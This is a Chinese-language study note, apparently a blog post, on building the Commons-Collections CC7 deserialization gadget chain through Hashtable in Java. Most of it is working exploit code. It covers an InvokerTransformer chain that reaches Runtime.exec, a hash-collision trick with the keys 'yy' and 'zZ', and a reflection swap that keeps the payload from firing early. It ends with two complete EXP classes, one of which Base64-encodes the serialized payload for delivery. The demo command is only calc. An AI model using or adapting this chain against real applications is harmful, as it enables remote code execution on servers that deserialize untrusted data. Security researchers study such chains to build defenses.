java反序列化----CC7利用链学习笔记(Hashtable)(基于commons-collections3和4)
java反序列化----CC7利用链学习笔记(Hashtable)
环境搭建
jdk8u71
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.1</version>
</dependency>
利用链
还是和CC6相似
CC6后半部分使用的是HashSet,
CC7后半部分使用的是HashTable
java反序列化----CC6利用链学习笔记(HashMap和HashSet)
前半部分代码
String cmd = "calc.exe";
//构造恶意调用链
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{cmd})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap hashMap = new HashMap();
LazyMap lazyMap = (LazyMap) LazyMap.decorate(hashMap,chainedTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap,"test");
HashTable中也重写了readObject方法,put方法也调用了hash方法
所以添上
Hashtable hashtable = new Hashtable();
hashtable.put(lazyMap,"value");
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("cc7.txt"));
oos.writeObject(hashtable);
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("cc7.txt"));
ois.readObject();
但是执行后并没有弹出计算器
继续分析
发现HashTable中调用了reconstitutionPut方法
进入reconstitutionPut方法
在AbstractMap类中找到重写的equals
发现调用了get方法
现在回到reconstitutionPut方法,判断如何才能通过种种条件限制,调用get方法
首先满足if (value == null)不成立
然后想进入for循环和if判断
下面有一个tab[index] = new Entry<>(hash, key, value, e);
所以要进入for循环和if判断至少要put进两次数值
然后满足e.hash == hash条件,就是说要找到两个字符的hashCode()相同
正好有一组满足条件的字符串,所以put两次的key值分别为"yy","zZ"
"yy".hashCode() == "zZ".hashCode()
所以现在payload:
HashMap hashMap1 = new HashMap();
HashMap hashMap2 = new HashMap();
LazyMap lazyMap1 = (LazyMap) LazyMap.decorate(hashMap1,chainedTransformer);
LazyMap lazyMap2 = (LazyMap) LazyMap.decorate(hashMap2,chainedTransformer);
lazyMap1.put("yy",1);
lazyMap2.put("zZ",1);
Hashtable hashtable = new Hashtable();
hashtable.put(lazyMap1,1);
hashtable.put(lazyMap2,1);
现在可以弹出计算器了,但是在序列化的过程中就弹出计算器了
打断点调试
发现lazyMap2增加了{{yy=1}=1},这样在序列化的时候满足"yy".hashCode() == "zZ".hashCode(),但在反序列化的过程中"{yy=1}".hashCode() != "zZ".hashCode()了
所以在hashtable.put(lazyMap2,1);后填上lazyMap2.remove("yy")
在序列化的过程中就弹出计算器可以学习CC2的先用无害链触发掉
但与CC2不同的是无害链只能为空的,像ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{});
所以最终EXP:
package cc7;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.Transformer;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Hashtable;
public class CC7 {
public static void main(String[] args) throws Exception{
//构造恶意调用链
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class), // 构造 setValue 的可控参数
new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke"
, new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{});//必须为空的,不能是new Transformer[]{new ConstantTransformer(1)}
HashMap hashMap1 = new HashMap();
HashMap hashMap2 = new HashMap();
LazyMap lazyMap1 = (LazyMap) LazyMap.decorate(hashMap1,chainedTransformer);
lazyMap1.put("yy",1);
LazyMap lazyMap2 = (LazyMap) LazyMap.decorate(hashMap2,chainedTransformer);
lazyMap2.put("zZ",1);
Hashtable hashtable = new Hashtable();
hashtable.put(lazyMap1,1);
hashtable.put(lazyMap2,1);
Class c = chainedTransformer.getClass();
Field field = c.getDeclaredField("iTransformers");
field.setAccessible(true);
field.set(chainedTransformer,transformers);
lazyMap2.remove("yy");
//序列化
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("cc7.txt"));
oos.writeObject(hashtable);
//反序列化
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("cc7.txt"));
ois.readObject();
}
}
有的时候需要在commons-collections 4.0库的情况下,进行稍微修改,但是无法修改提前触发payload的问题
package cc7;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.map.DefaultedMap;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;
public class CC7_2 {
public static void main(String[] args) throws Exception{
String cmd = "calc.exe";
//构造恶意调用链
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class), // 构造 setValue 的可控参数
new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke"
, new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{cmd})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);//必须为空的,不能是new Transformer[]{new ConstantTransformer(1)}
HashMap hashMap1 = new HashMap();
HashMap hashMap2 = new HashMap();
Class<DefaultedMap> c = DefaultedMap.class;
Constructor<DefaultedMap> constructor = c.getDeclaredConstructor(Map.class,Transformer.class);
constructor.setAccessible(true);
DefaultedMap lazyMap1 = constructor.newInstance(hashMap1,chainedTransformer);//LazyMap lazyMap1 = (LazyMap) LazyMap.decorate(hashMap1,chainedTransformer);
lazyMap1.put("yy",1);
DefaultedMap lazyMap2 = constructor.newInstance(hashMap2,chainedTransformer);//LazyMap lazyMap2 = (LazyMap) LazyMap.decorate(hashMap2,chainedTransformer);
lazyMap2.put("zZ",1);
Hashtable hashtable = new Hashtable();
hashtable.put(lazyMap1,1);
hashtable.put(lazyMap2,1);
/*
Class c = chainedTransformer.getClass();
Field field = c.getDeclaredField("iTransformers");
field.setAccessible(true);
field.set(chainedTransformer,transformers);
*/
lazyMap2.remove("yy");
//序列化
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("cc7-2.txt"));
oos.writeObject(hashtable);
File file = new File("cc7-2.txt");
byte[] fileData = new byte[(int)file.length()];
FileInputStream fis = new FileInputStream(file);
fis.read(fileData);
String encodedString = Base64.getEncoder().encodeToString(fileData);
System.out.println(encodedString);
/*
//反序列化
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("cc7-2.txt"));
ois.readObject();
*/
}
}